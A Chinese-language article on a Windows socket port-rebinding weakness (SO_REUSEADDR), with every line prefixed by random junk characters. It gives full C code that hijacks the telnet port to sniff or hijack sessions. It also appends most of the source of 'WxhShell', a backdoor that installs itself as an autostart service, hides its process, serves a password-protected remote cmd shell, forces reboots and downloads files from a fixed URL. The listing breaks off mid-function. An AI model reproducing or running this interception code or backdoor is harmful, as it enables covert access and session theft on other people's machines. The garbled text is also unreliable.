在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4[(NxXH8M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lA pZC6Iwk P8(hHuO saddr.sin_family = AF_INET;
84WX I#BH [l3ys saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ny
cn &7i&"TNptP bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%q}[ZD/HD /w1M%10 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
E.Q]X]q |AH>EXhv 这意味着什么?意味着可以进行如下的攻击:
#R>x]Nt} R_O=WmD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
jsQHg2Vd _jc_(;KPF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
O%3Hp.|! <PVwf`W. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|UlG@Mn o@BV&| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!> =ybRe Q~tXT_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m8=n `XI ?=ffv]v| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-V:HT
j ,3!$mQL= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*E*oWb]H 'Oj 1@0*0 #include
TF%Xb>jy[ #include
X@"G1j >/ #include
mU]VFPr5 #include
*i}X(sfe DWORD WINAPI ClientThread(LPVOID lpParam);
.L+XV y int main()
D#G%WT/" {
>{N}UNZ$} WORD wVersionRequested;
CxTmW5l DWORD ret;
oNtoqYwH WSADATA wsaData;
,sIC=V + BOOL val;
@AF<Xp{ SOCKADDR_IN saddr;
V^,eW! SOCKADDR_IN scaddr;
BZ=I/L int err;
\"1>NJn&k) SOCKET s;
Z6rhInIY SOCKET sc;
@zC6` int caddsize;
d\ 8v
VZ
HANDLE mt;
W&=OtN
U! DWORD tid;
Lo~;pvv wVersionRequested = MAKEWORD( 2, 2 );
1_<x%>zG err = WSAStartup( wVersionRequested, &wsaData );
WFiX=@SS if ( err != 0 ) {
s(nT7x+W printf("error!WSAStartup failed!\n");
b,^Gj]7 return -1;
0|RofL&o }
?+))J~@t saddr.sin_family = AF_INET;
CVWT>M< +rJ6DZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
."H;bfcL_ bx(@ fl:m saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$'%GB $. saddr.sin_port = htons(23);
]
\M+j u if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`XhH{*Q"X {
qx'0(q2Ii( printf("error!socket failed!\n");
"bIb?e2h9G return -1;
X+C*+k,z }
a8f#q]TyQ val = TRUE;
SfnQW}RGI //SO_REUSEADDR选项就是可以实现端口重绑定的
?0_<u4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
VD~5]TQ {
N^dQX,j printf("error!setsockopt failed!\n");
54CJ6"q return -1;
|L8
[+_m }
V2ih/mh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pY`$k#5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
bAPMD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G;3%k.{ ?id)
2V0s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
VD$5 Djq {
1>OlBp ret=GetLastError();
Ln4]uqMG. printf("error!bind failed!\n");
Z^:_,aJ? return -1;
`UTPX'Vz }
d/bimQ listen(s,2);
4LKpEl.= while(1)
x-m*p^} {
T@tsM|pI caddsize = sizeof(scaddr);
SHX`/ //接受连接请求
@"@|O>KJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+Yc^w5 !( if(sc!=INVALID_SOCKET)
lN#j%0MaUo {
{5~h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F(yR\)!C if(mt==NULL)
68XJ`/d {
c|k_[8L printf("Thread Creat Failed!\n");
2n,z`(= break;
&{V |%u}v }
gS5REC4I/ }
!?nO0Ao-$ CloseHandle(mt);
Jt=-> }
#4JMb#q0E closesocket(s);
r8s>s6vm WSACleanup();
fAgeF$9@
return 0;
rO7_K>g? }
u%~'+= DWORD WINAPI ClientThread(LPVOID lpParam)
rx2)uUbR {
y:RW:D& SOCKET ss = (SOCKET)lpParam;
F
qH))2 SOCKET sc;
ENuL!H>;* unsigned char buf[4096];
C2}y#A I SOCKADDR_IN saddr;
v>]g="5}8 long num;
@G"nkB
DWORD val;
QN#"c DWORD ret;
:)~l3:O //如果是隐藏端口应用的话,可以在此处加一些判断
a+E
8s7C/D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
DK74s saddr.sin_family = AF_INET;
e Ucbe33 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h mRmU{(Y saddr.sin_port = htons(23);
x/DV> Nfn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8ttJ\m {
]q1w@)]n} printf("error!socket failed!\n");
J"C9z{[Z& return -1;
nQ\` ]_C }
ZAr6RRv ^ val = 100;
H~Uf2A)C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Sb[>R(0: {
SE+hB ret = GetLastError();
{Dpsr` & return -1;
',r` )9o }
LP"g(D2'n if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
UjI./"]O {
b* n3Fej ret = GetLastError();
kG/1 return -1;
<=NnrZOF }
_d]{[&
p4t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.o/|]d`% {
93]63NY printf("error!socket connect failed!\n");
5-X$"Z|@ closesocket(sc);
K,g6y#1" closesocket(ss);
M{J>yN return -1;
9<u&27. }
h-96 2(LG while(1)
>%tP"x{ {
:^]Po$fl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$5i\D
rs //如果是嗅探内容的话,可以再此处进行内容分析和记录
~^2w)-N //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6Cy Byj& num = recv(ss,buf,4096,0);
3N_KNW if(num>0)
';3>rv_ send(sc,buf,num,0);
/(^-=pAX else if(num==0)
4;6"I2;zfG break;
=3035{\ num = recv(sc,buf,4096,0);
nX (bVT4i if(num>0)
Z?+ )ox send(ss,buf,num,0);
,7B7X)m{3 else if(num==0)
tx5bmF;b) break;
xw8k<` }
Yh1</C closesocket(ss);
6]1RxrAV closesocket(sc);
L ci? return 0 ;
-dM~3' }
B&_:20^y~ \^(#b,k# ?Z{/0X)]| ==========================================================
E!Q@AZ BbX$R`f 下边附上一个代码,,WXhSHELL
-9om,U`t Tv|'6P ==========================================================
}ekNZNcuM &}u_e`A #include "stdafx.h"
w:
BJ4bi= ._0$#J S[ #include <stdio.h>
5S4Nx> #include <string.h>
X?haHM#] #include <windows.h>
/R B%m8@; #include <winsock2.h>
%`bs<ZWT #include <winsvc.h>
zu}uW,XH- #include <urlmon.h>
Vx!ZF+ I%4eX0QY=z #pragma comment (lib, "Ws2_32.lib")
dcrvEc_/ #pragma comment (lib, "urlmon.lib")
=#2%[kG q NN7KwVg #define MAX_USER 100 // 最大客户端连接数
- k0a((? #define BUF_SOCK 200 // sock buffer
D\G 8p; #define KEY_BUFF 255 // 输入 buffer
|KJGM1]G r3Ol?p #define REBOOT 0 // 重启
YHN6/k7H #define SHUTDOWN 1 // 关机
f4S}Nga( #bd=G(o~6 #define DEF_PORT 5000 // 监听端口
Jj]<SWh $~8gh>`] #define REG_LEN 16 // 注册表键长度
&5HI #define SVC_LEN 80 // NT服务名长度
yFAUD
ro QO$18MBcc // 从dll定义API
<@M5 C-hH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
bzG vnaTt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J)g
+I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/[Nkk)8- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W(qK?"s2 n!zB+hW // wxhshell配置信息
htYfIy{5w struct WSCFG {
=4)8a"7#. int ws_port; // 监听端口
w%wVB/( char ws_passstr[REG_LEN]; // 口令
A6KP(@
int ws_autoins; // 安装标记, 1=yes 0=no
"'DPb%o char ws_regname[REG_LEN]; // 注册表键名
@w33u^ char ws_svcname[REG_LEN]; // 服务名
JXuks`:Q char ws_svcdisp[SVC_LEN]; // 服务显示名
p!E*ANwX char ws_svcdesc[SVC_LEN]; // 服务描述信息
MZ)lNU l char ws_passmsg[SVC_LEN]; // 密码输入提示信息
R UCUEo63 int ws_downexe; // 下载执行标记, 1=yes 0=no
|3k r*# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
VnN(lJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Y3|_&\v6 G$)q% b;Lz };
}Q[U4G bv7)[,i // default Wxhshell configuration
V~Guw[RA struct WSCFG wscfg={DEF_PORT,
g1XpERsSEV "xuhuanlingzhe",
JSFNn]z2P 1,
Zq{gp1WC "Wxhshell",
~&,S xQT "Wxhshell",
m!INbIh "WxhShell Service",
h9d*N 9!;M "Wrsky Windows CmdShell Service",
K
z^.v` "Please Input Your Password: ",
"'+/ax[{ 1,
A/ zAB3 "
http://www.wrsky.com/wxhshell.exe",
{%2p(5FB "Wxhshell.exe"
5bZ0}^FYF };
JiqhCt\ rxxVLW // 消息定义模块
N/C$8D34 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#x;d+Q@ char *msg_ws_prompt="\n\r? for help\n\r#>";
&gh>'z;`r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ht\_YiDg3 char *msg_ws_ext="\n\rExit.";
= m|<~t char *msg_ws_end="\n\rQuit.";
2n"-~'3\ char *msg_ws_boot="\n\rReboot...";
M3eSj`c3 char *msg_ws_poff="\n\rShutdown...";
BD$Lf,_ char *msg_ws_down="\n\rSave to ";
Y;\@
5TgQ, a{e1g93} char *msg_ws_err="\n\rErr!";
k-4z2qB char *msg_ws_ok="\n\rOK!";
Yi-,Pb?
87pu\(,' char ExeFile[MAX_PATH];
7iy 2V;} int nUser = 0;
uEsF 8 HANDLE handles[MAX_USER];
6Po{tKU int OsIsNt;
asW
W@E akj#.aYk SERVICE_STATUS serviceStatus;
E?&YcVA SERVICE_STATUS_HANDLE hServiceStatusHandle;
R<3 -!p1v t%y
i3 // 函数声明
}V/iU_) int Install(void);
~Y1nU- int Uninstall(void);
6d5q<C_3t int DownloadFile(char *sURL, SOCKET wsh);
iOAn/[^xk int Boot(int flag);
3? k<e void HideProc(void);
C,O9?t int GetOsVer(void);
1Uah IePf int Wxhshell(SOCKET wsl);
6XAofN/5f void TalkWithClient(void *cs);
jJ
RaY3 int CmdShell(SOCKET sock);
B&(/,. int StartFromService(void);
6EY0Fjsi int StartWxhshell(LPSTR lpCmdLine);
_Kli~$c& M p=[I;U-#H VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Y|#<kS VOID WINAPI NTServiceHandler( DWORD fdwControl );
Zirp_[KZ% 6!6R3Za$ // 数据结构和表定义
TCgW^iu SERVICE_TABLE_ENTRY DispatchTable[] =
{iQ4jJ`n {
HKC&grp {wscfg.ws_svcname, NTServiceMain},
Wa!C2nB {NULL, NULL}
juWbd|ad" };
xNJ*TA[+ nh+h3"-d // 自我安装
Ix@nRc' int Install(void)
Dz$dJF1
8 {
"-HWw?rx/ char svExeFile[MAX_PATH];
&[|Z2} HKEY key;
qus%?B{b} strcpy(svExeFile,ExeFile);
'v(b^x<ZS wgQx.8 h> // 如果是win9x系统,修改注册表设为自启动
6/0bis
H if(!OsIsNt) {
=FAIbM>u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Yru,YA
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*aYuuRx RegCloseKey(key);
^%1u3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#/t+h#jG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{XXnMO4uR; RegCloseKey(key);
bdBLfWe return 0;
;e2D} }
.8|"@ }
y
:QnK0 }
i"^ yy+ else {
uesIkJ^Q[ j3R}]F'C* // 如果是NT以上系统,安装为系统服务
f?QP(+M5. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dA#'HMh@ if (schSCManager!=0)
Nc^:v/(P {
FZ FPzH SC_HANDLE schService = CreateService
Lu71Qdu09 (
*y~~~ 'J/ schSCManager,
!Ks<%;
rb wscfg.ws_svcname,
wF-H{C' wscfg.ws_svcdisp,
H:q;IYE+a SERVICE_ALL_ACCESS,
U]M5&R=? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
VTO92Eo SERVICE_AUTO_START,
nwi8>MG SERVICE_ERROR_NORMAL,
0,cU^HMA svExeFile,
B}I9+/|{ NULL,
d(vt0 NULL,
9
H>JS NULL,
Ih5CtcE1'd NULL,
/i"1e:cK NULL
OP``+z> );
Pp;OkI``[ if (schService!=0)
MdnapxuS {
FW4#/H CloseServiceHandle(schService);
0c&DSL}6 CloseServiceHandle(schSCManager);
Gl4f:` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T|--ZRYn strcat(svExeFile,wscfg.ws_svcname);
i@=(Y~tD` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Xk :_aJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`{ \)Wuw RegCloseKey(key);
DU@SXb return 0;
'qoaMJxN` }
<I{Yyl^ }
Rf!$n7& \ CloseServiceHandle(schSCManager);
mW3IR3b }
Rz<'&Z>; }
"!#KQ''R H96|{q= return 1;
Jb|dpu/e }
k7nke^,| ?{1& J9H // 自我卸载
$L72%T int Uninstall(void)
F>k/;@d {
LP>GM=S#" HKEY key;
4@jX{{^6% Upc_"mkI. if(!OsIsNt) {
q3u:Tpn4% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k P=~L=cK RegDeleteValue(key,wscfg.ws_regname);
`cFNO: RegCloseKey(key);
DLoH.Fd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i&L!?6 5-f RegDeleteValue(key,wscfg.ws_regname);
=pb ru=/ RegCloseKey(key);
xeRoif\4c return 0;
SM.KM_%K }
:>3?|Z"Aj }
ZkF6AF }
\
Ju7.3. else {
PSU}fo Bf$`Hf6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
N3\vd_D( if (schSCManager!=0)
T=[/x= {
nz/cs n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
nR,QqIFFw if (schService!=0)
g7v(g? {
(J.U{N v if(DeleteService(schService)!=0) {
WS\Ir-B CloseServiceHandle(schService);
S3y('
PeF CloseServiceHandle(schSCManager);
eY`o=xN return 0;
Hw,@oOh. }
"BC;zH: CloseServiceHandle(schService);
:d|~k }
3
5p)e c CloseServiceHandle(schSCManager);
R-Gg= l5 }
9bUFxSH }
;y-sd?pAk |0VZ1{=* return 1;
$v1_M1 }
;IR.6k$; ,b t
j6hg // 从指定url下载文件
rb]?"lizi int DownloadFile(char *sURL, SOCKET wsh)
|}o3EX {
/PE L[Os HRESULT hr;
7DWGYvv[ char seps[]= "/";
8Q73h/3 char *token;
kK.[v'[>& char *file;
ZDm Y${J char myURL[MAX_PATH];
wAc;{60s] char myFILE[MAX_PATH];
bg^<e}{<H z6 .^a-sU5 strcpy(myURL,sURL);
5a5)hmO RB token=strtok(myURL,seps);
T1(*dVU? while(token!=NULL)
CEBa,hp@ {
/1b7f' file=token;
/sdZf|Zl token=strtok(NULL,seps);
sE[
Yg8yAt }
h*\u0yD) bv}e[yH GetCurrentDirectory(MAX_PATH,myFILE);
E^m;Ab= strcat(myFILE, "\\");
M]SeNYDy strcat(myFILE, file);
f%rZ2h) send(wsh,myFILE,strlen(myFILE),0);
wotw nE send(wsh,"...",3,0);
sAoxLI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
YVPLHwh/5 if(hr==S_OK)
6K^O.VoV^J return 0;
#GzowI' else
OU<v9`< return 1;
dQy K4T aAgQ^LY }
m{r#o? '%y;{,g* // 系统电源模块
cVDcda|PE int Boot(int flag)
bP&1tE {
N t\ZM HANDLE hToken;
VPb8dv(a3 TOKEN_PRIVILEGES tkp;
_IWLC{%V xcH&B%;f if(OsIsNt) {
#tA/)Jvi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
W"&,=wvg2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}d%Fl}.Ez tkp.PrivilegeCount = 1;
9^@)R
ED tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bbT$$b- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o_03Io
~Bf if(flag==REBOOT) {
\susLD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wYQEm return 0;
R$;TX^r'o& }
)T^xDx else {
i:1
@ vo if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?@;#|^k9
return 0;
PJ^qE|X }
J|`.d46 }
IRTD(7"oyp else {
wZWAx if(flag==REBOOT) {
;RYIc0% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
DKF
'* return 0;
IL`=r6\ }
t8`wO+4@ else {
;*0?C'h= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!@ {sM6U return 0;
-F MonM }
.h(iyCxP }
U*?`tdXJ$ Zn[ppsz| return 1;
qQ8+gZG$R }
ABcB-V4 YLuf2ja}X // win9x进程隐藏模块
',/2J0_ void HideProc(void)
2OQ\ z;s {
|#'n VN.; iUk#hLLC HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
zE~Xxp if ( hKernel != NULL )
o7@C$R_# {
zjOOEvi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cQm4q19 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
K~B FreeLibrary(hKernel);
=}.gU WV }
P>(FCX ;; ;=)'o return;
ILqBa:J }
c3r`T{Kf AREjS$ // 获取操作系统版本
ck\W'Y*Q7 int GetOsVer(void)
iu3L9UfL[ {
{8h[Bd OSVERSIONINFO winfo;
GP^.h kVs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?'_6M4UKa GetVersionEx(&winfo);
=[LorvX+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Nd&UWk^ return 1;
XK})?LTD
else
Keem\/ return 0;
ZJ.an%4 }
SMzq,?-` n2EPx(~ // 客户端句柄模块
Hq!|r8@6 int Wxhshell(SOCKET wsl)
*ifz@8C } {
5{Q9n{dOh SOCKET wsh;
p4
=/rkq struct sockaddr_in client;
,Vw>3|C DWORD myID;
e.~11bx ncMzHw while(nUser<MAX_USER)
&}
{ #g {
um}q @BU int nSize=sizeof(client);
&BRa5` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|Wjpnz if(wsh==INVALID_SOCKET) return 1;
cnI5G! @bJIN]R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-$DfnAh if(handles[nUser]==0)
v; R2,`[W closesocket(wsh);
xiDgQTDz else
Fk^N7EJ:$ nUser++;
^\&FowpP }
om2N*W.gk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
dvU{U@:sz {_/ o' 6 return 0;
I7~) q` }
~f[ Y; k5Fj"U // 关闭 socket
igW* {)h3 void CloseIt(SOCKET wsh)
7ej u%d {
>7zC-3 closesocket(wsh);
lo(C3o' nUser--;
w jD<"p;P ExitThread(0);
8|)^m[c& }
@XXPJq;J &K{8-
t // 客户端请求句柄
');vc~C void TalkWithClient(void *cs)
rQyjNh {
N9-7YQ`D m|F1_Ggz SOCKET wsh=(SOCKET)cs;
U||GeEd char pwd[SVC_LEN];
`;J`O02 char cmd[KEY_BUFF];
YWvD+ char chr[1];
,w3-*z int i,j;
!ltq@8#_| fBj)HoHQW while (nUser < MAX_USER) {
>36,lNt X;N?L%Pp if(wscfg.ws_passstr) {
6-fv<Pn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R$8{f:Pj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yDwh]t //ZeroMemory(pwd,KEY_BUFF);
WFh.oe8
i=0;
(D) KU9B> while(i<SVC_LEN) {
$`55 E( _p*8ke // 设置超时
6{Q-]LOc[. fd_set FdRead;
[&PF ;)i struct timeval TimeOut;
kM{8zpn FD_ZERO(&FdRead);
bXOKC FD_SET(wsh,&FdRead);
Rd5_{F TimeOut.tv_sec=8;
66,(yxg TimeOut.tv_usec=0;
fg3Jv* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c|;n)as9(% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.8u@/f%pV 9K/EteS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2Y23!hw pwd
=chr[0]; |w}j!}u
if(chr[0]==0xd || chr[0]==0xa) { dN)8r
pwd=0; T7.Iqw3p
break; oDMPYkpTu
} XhHgXVVGG<
i++; OyF=G^w
} R`Z"ey@C
nOvR, 6
// 如果是非法用户,关闭 socket _ERtL5^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T+ZA"i+
} $3G^}A"
O5 73AA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3Iv^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K F_fz
n@RmH>"
while(1) { /*T^7Y&
"TZY)\{L
ZeroMemory(cmd,KEY_BUFF); kpIn_Ea
jts0ZFHc-
// 自动支持客户端 telnet标准 J<QZ)<T,&
j=0; _ZK^JS
while(j<KEY_BUFF) { :LY.C<8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JM|HnyI
cmd[j]=chr[0]; jJ$B^Y"4
if(chr[0]==0xa || chr[0]==0xd) { !SW0iq[7j
cmd[j]=0; ?J2A1iuq3
break; <&l$xn
} MmN{f~Kq9
j++; #0aBQ+_8H
} eTvWkpK+
;+E]F8G9r
// 下载文件 "Zgwe,#
if(strstr(cmd,"http://")) { EGUlLqP6e
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7,+eG">0
if(DownloadFile(cmd,wsh)) x?{UWh%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pqb'L]
else IDH~nMz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6I
+0@,I
} ES&u*X:
else { 7qB4_
(4cdkL
switch(cmd[0]) { 5MB`yRVv
!Ud'(iGa
// 帮助 DJ, LQj
case '?': { TjTG+uQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sip4,>,E
break; G|rE\h 2w
} BqNeY<zB*
// 安装 f47]gtB-
case 'i': { EVX3uC}{
if(Install()) ju{Y6XJ)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B-rE8\
else b?i+nhqI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CvY+b^ ;
break; g%f5hy
} Bdt6 w(`^
// 卸载 &L+uu',M0c
case 'r': { \Mg_Q$
if(Uninstall()) 1n8[fgz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e.n(NW
else "=Br&FN{|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 P!)4W
break; kL*P 3
0
} #uhUZq
// 显示 wxhshell 所在路径 2e1KF=N+
case 'p': { 6WY/[TC-
char svExeFile[MAX_PATH]; sE% $]Jp
strcpy(svExeFile,"\n\r"); Z
v@nK%#J
strcat(svExeFile,ExeFile); o%t4WQ|bj
send(wsh,svExeFile,strlen(svExeFile),0); 5CFNBb%Xy
break; Qu61$!
} nnv|GnQST
// 重启 q*3OWr
case 'b': { ?uq`| 1`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gm-[x5O"
if(Boot(REBOOT)) WPL@v+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xak)YOLRV
else { }L_YpG7
closesocket(wsh); Lb/GL\J)
ExitThread(0); p@Y=6 Bw
} t@qf/1
break; 9=>fx
} eO!9;dJ
// 关机 1#A$&'&\J;
case 'd': { 53])@Mmus
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3PNdc}h
if(Boot(SHUTDOWN)) YZg#H)w%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t WI-
else { AoS7B:T;!
closesocket(wsh); ~5N}P>4*
ExitThread(0); $d?W1D<A
} G\@pg;0|y
break; ]3_b3@k
} ,;`f* #
// 获取shell Tlw'05\{J
case 's': { 7Z6=e6/\
CmdShell(wsh); ,|]JaZq
closesocket(wsh); ~#pATPW@(
ExitThread(0); ==dKC;
break; MET9rT
} Y MX9Z||
// 退出 e}UQN:1
case 'x': { RuPnWx!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .Kb3VNgwvm
CloseIt(wsh); HuevDy4
break; `L'g<VK;
} |./mPV r
// 离开 +=3=% %?C
case 'q': { 6X \g7bg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); W;vNmg}mn
closesocket(wsh); = s&Rk~2b/
WSACleanup(); nuce(R
exit(1); X94a
break; mJSfn"b}K
} c#n
2!
} u R0UfKK
} 6cH8Jr _
ORExI.<`W
// 提示信息 }t H$:Z
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r]3-}:vU
} EgjJywNhd2
} \2\{c1df
y)G-6sZ/
return; -> cL)
} >P/36'
k#].nQG
// shell模块句柄 QZzamT)"
int CmdShell(SOCKET sock) [l23b{
{ q(KjhM
STARTUPINFO si; g>lZs
ZeroMemory(&si,sizeof(si)); ]S6Gz/4aV+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?KC(WaGJQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AC,RS7
PROCESS_INFORMATION ProcessInfo; -o ).<
char cmdline[]="cmd"; ^hIdmTf6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z8|<%1Kge
return 0;
}v ZOPTP
} *1)>He$qL
GJ ^c^`
// 自身启动模式 WK{`_c
U^
int StartFromService(void) 51|ky-
{
~>u.d
typedef struct [YDSS/
{ s3>a
DWORD ExitStatus; kKX' Y+
DWORD PebBaseAddress; 6nx\|F
DWORD AffinityMask; jZXa
R
